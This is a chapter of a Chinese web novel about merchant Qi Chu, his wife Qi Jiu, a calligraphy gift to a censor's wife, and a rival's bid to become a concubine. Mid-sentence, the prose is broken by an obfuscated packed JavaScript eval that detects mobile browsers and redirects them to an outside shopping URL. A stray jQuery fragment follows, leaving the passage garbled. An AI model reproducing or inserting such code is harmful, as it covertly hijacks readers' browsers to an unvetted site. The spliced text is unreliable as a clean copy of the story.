扈掌柜既提到了柒奺，关薄言实在无法置之不理。
可他并不认为御史夫人会收下祈楚的贺礼，祈楚究竟能不能化解这僵局，就只能看他自己的造化了。
御史夫人不好驳刺史的颜面，便随意招招手道：“呈上来吧。”
扈掌柜心中大喜，连忙起身，恭敬地将锦盒捧至御史夫人面前，揭开盒盖，缓缓展开里面的卷轴。御史夫人不愿多瞧，只瞄了一眼，却忽然大惊失色，将卷轴亲自拿了仔细查看。
她压低声音问道：“这……你们究竟从哪得来的？”
周围众人翘首张望，御史夫人却立马收起卷轴，小心翼翼地放回锦盒内。
扈掌柜答曰：“这是东家与大娘子，专程替夫人求来的。东家说，这样东西，只有像御史、御史夫人这样的贵人才能欣赏，自己一介商贾，粗俗鄙陋，不配持有此物，愿敬赠御史夫人。”
“好好好……真好，祈家主君有心了。”御史夫人转怒为喜，满脸都是笑意，“只可惜，他今日无法前来，否则我定要当面谢谢他。他如此孝心，又办事周到，今日既无法前来，就请掌柜你替他参宴吧。”
木已成舟，姜实维只好摆摆手，让下人将祈楚的贺礼搬进屋内。
周围议论纷纷，方才还忙不迭恭维祈桓的一群人，如今又聚在一起戏笑嘲讽。正是方才还东风压西风，如今又西风压东风。
韩宜君不解，小声问道：“婶婶……喜欢王锡文的字？”
御史夫人却笑而不答。
新人拜堂，晚宴过半，扈掌柜便称家中有事，起身请辞。
没过多久，祈桓也请辞离开。
扈掌柜离开姜府，立马坐上骡车赶到祈府回报。祈楚和柒奺也没有待在偏远的离鸾阁，而是坐在前厅中等待。
扈掌柜进了前厅，大笑着拱手说道：
“东家，大娘子，果然如你们所料啊！”
柒奺仍是不敢相信：“御史夫人真的收下了？”
“她只看了一眼，就立马高兴地收下了！”扈掌柜仍旧很激动，“东家说得没错……御史夫人一开始根本不愿收礼，甚至看都不愿看一眼，眼看着事情进入胶着，果然是关刺史出面打了圆场，御史夫人不好驳刺史的面子，这才答应叫我呈上去！”
柒奺冷笑一声，嘲讽道：“郎君真是好算计啊，连刺史大人也算进去了。”
祈楚有些难堪。
他是利用了关薄言对柒奺的情谊，让扈掌柜一定要等刺史到了才能进去。可他也是兵行险招，怕柒奺知道后生气，只是私下交代了扈掌柜。
“罢了。”柒奺说道，“这还得感谢你那盒糕饼，感谢滢儿。”
“是是是，大娘子说的是……”祈楚抹了抹头上的冷汗，“下次关二姑娘来，我定好好招待，亲自向姑娘赔礼道谢……”
柒奺翻了个白眼，叫上瓶儿，起身回离鸾阁。
祈楚送走扈掌柜，忙跟了上去，在园子里追上了柒奺。柒奺虽然心中不悦，可还是没有立马回离鸾阁，而是放慢脚步，摇起绢扇，与祈楚在月光如水的院子里散步。
柒奺说道：“这会儿你该不卖关子了吧。”
祈楚也打起折扇，惬意地笑着说道：
“不敢不敢，我那会儿不说，是怕此法不奏效，让娘子你笑话罢了……其实，喜欢这副字的并不是御史夫人，而是朝中那位高权重的廉太傅。廉太傅酷爱王锡文的字，是众所周知的事，曾经有人将家传的王锡文字画送给廉太傅，一介白丁竟一跃得了个七品肥差……再贵重的珍宝，也敌不过权势啊。”
柒奺不太敢信：“这廉太傅，竟能如此只手遮天？”
祈楚仰头感慨：“廉太傅，两朝重臣，在朝中积势已久；又送女儿入后宫，为廉贵妃，更添国丈的尊荣，自是权势滔天、权倾朝野，大有挟天子以令诸侯之势。”
“那文唐将来……岂不是要乱？”
祈楚说：“朝中之事，离我们这些平民百姓太远……可廉太傅控制了姜家，导致凉州商事被姜家一手掌控，商户们艰难讨食，农户们也备受欺压……柒奺，我听说你父母，正是因为被陶墉压榨，才双双早逝的吧？而陶墉，那就是姜家的爪牙。”
柒奺低下头，缓缓说道：“你怎么知道？”
“是父亲告诉我的。”祈楚说，“他也很想扳倒陶墉，也曾经致力于整顿平凉商事，可惜……实在是力不从心。”
“那……”柒奺欲言又止。
不知道公爹，有没有把她那句狂言告诉祈楚。
“可我如今接手祈家产业，不仅是要扳倒陶墉。”祈楚停下脚步，看向柒奺，“我还要扳倒姜家，成为这平凉乃至文唐第一商。这样我们才有话语权，才能放开手，去做我们想做的事。”
柒奺迎上祈楚的目光，心中有些动摇。
她慌忙收回目光，转身走去：“痴人说梦……你知道要扳倒姜家，有多么困难么。”
“事在人为嘛。”祈楚笑着跟上去，枕着手臂说道，“反正我相信，一切总有办法的。”
柒奺没有说话，两人心照不宣，默默地朝前走去。
……
而与此同时，姜家的新房内，新妇凤冠霞帔，却面色苍白，心如止水。
已经早就过了二更，可姜王瓒还没有到这新房里来，她也毫不关心。
容御史的千金，名唤容桑柔，是御史府的三姑娘。
她的长姐许给了廉太傅的四子，二哥娶了韩尚书家的大姑娘。只有她，千里迢迢嫁入姜家，还听说未来夫君姜王瓒轻浮纨绔，是青楼戏园子的常客。
出发之前，她已经是将泪水哭干了。
可这又能如何呢？父母之命媒妁之言，她只能认了这命。
姜王瓒喝得酩酊大醉，一拖再拖，也不愿进这新房。姜老太公怕怠慢了御史千金，叫四五名小厮家丁架着姜王瓒，硬把他推进了新房内。
“我还没喝够呢……快让我出去！”
姜王瓒在门内大喊，晃了几下，却拉不动房门。
他心里烦闷，晃晃悠悠地走到桌旁，将茶壶里的茶一饮而尽，抹抹嘴，看向坐在床边的容桑柔。他在门内大喊大叫，又把茶具摔得呯里哐啷，可容桑柔却丝毫没有动容，举着喜扇，沉静地坐着，像一尊雕像。
“嘁……真是无趣。”
姜王瓒嘀咕了一声。
可他倒也没忘了容桑柔的身份，整整衣衫，在新妇身旁坐下。
“娘子……”他供一拱手，戏弄般说道，“这扇子可以拿开了吧，为夫还没见过娘子的相貌，甚是好奇。”
容桑柔嗅到他周身散发的酒气，忍住泪意，缓缓放下喜扇……
姜王瓒霎时愣住了。
在此之前，他从未想过，自己有一天，会对一位女子一见倾心。
.
朔风呼啸，绿树成荫，又到了第二年的春天。
薛宛振作精神，吃药调
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599151|203563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
养了大半年，身体总算是恢复过来了。
薛司户夫妇让她先将养身体，等身体彻底养好了，才带她去祈府商议此事。说是这么说，薛司户夫妇也想趁这段时日，让薛宛再好好想想，期望她能改变心意。
可薛宛心意已决，郎中刚说她的身体已无大碍，便央求母亲带自己去祈家。
殷大娘子磨磨蹭蹭，又耽搁了几日准备，才不情不愿地带着薛宛去了祈府。
沈氏被殷大娘子冷落这大半年，还以为薛宛的事情就这样不了了之，殷大娘子突然带着薛宛上门拜访，着实令沈氏大喜过望。
“快……楚儿在哪里？快去把他叫过来！”沈氏吩咐完，又补充道，“不许叫柒奺那丫头知道了！”
丫鬟们互相看了一眼，说道：“主君他……就在大娘子院儿里头呢。”
“这小子……真是不明白我一番苦心！”沈氏没办法，只好说，“罢了，叫柒奺也一起过来，这事儿当着面说清也好！”
秦妈妈犹豫片刻，对沈氏说道：“老夫人，虽然殷大娘子那么说了，可关二姑娘还是与大娘子亲密无间，常常来拜访……老夫人还是再考虑考虑吧……”
“罢了，我就不喜欢柒奺做我儿媳妇。”沈氏说，“你这老东西，她之前把我气成了什么样，难道你不知道？瞧我儿那德性，将来那丫头恃宠而骄、嚣张跋扈，还不知道会不会早早把我给气死呢！”
“老夫人……”
秦妈妈也劝不住，只能退到一边摇头叹气。
说话间，殷大娘子带着薛宛，来松鹤堂拜见了沈氏。
沈氏喜笑颜开，迎上去拉过薛宛的手，忙将她推到桌旁坐下：“瞧宛儿姑娘这模样，真是娇滴滴一朵花儿，我是越看越喜欢！”
殷大娘子咳嗽一声，勉强笑道：“既然老夫人你这么喜欢我家宛儿，要不……我就将宛儿托付给老夫人，让祈楚纳了她做个妾……老夫人说可好。”
“做、做妾？”
沈氏大惊不已，和秦妈妈交换了一下眼神。
这可完全出乎了沈氏的意料，霎时间脑中混乱了一阵，不知该说什么——这薛司户夫妇怕不是失心疯了？好端端的嫡女，为何要给我祈家做个妾？
见沈氏不言语，薛宛突然起身跪下，握着沈氏的手说：“老夫人，薛宛只愿和楚郎在一起，做妻还是做妾，薛宛不在乎……求老夫人答应，薛宛一定会好好伺候夫君，孝顺老夫人的……”
沈氏听了薛宛一番话，总算是回过神来。
“可做妾……”
“我不同意！”
沈氏刚要说她，若心爱自己的儿子，何不堂堂正正嫁进来做个正牌娘子？可话刚说出口，就被祈楚的声音打断了。
“楚郎？……楚郎！”
薛宛终于见着了朝思暮想的人儿，提起裙摆欣喜地跑了上去。
可她跑了几步，脸上的笑容却突然消失了——
祈楚身后，跟着柒奺。
柒奺身穿浅水粉色的衣裙，水青色披帛，发丝拢在脑后，发髻上只有几只素钗步摇。柒奺是真心替公爹守孝，因此素衣淡食，脸上也未施粉黛。
“宛儿姑娘。”柒奺大大方方地见了礼。
薛宛咬咬嘴唇，也只好咬着牙说道：“见过大娘子……”
殷大娘子听了祈楚的话，忍不住一拍桌案说道：
“祈楚，我薛家的嫡女送来给你做妾，你竟然还不同意？你不要太得寸进尺！”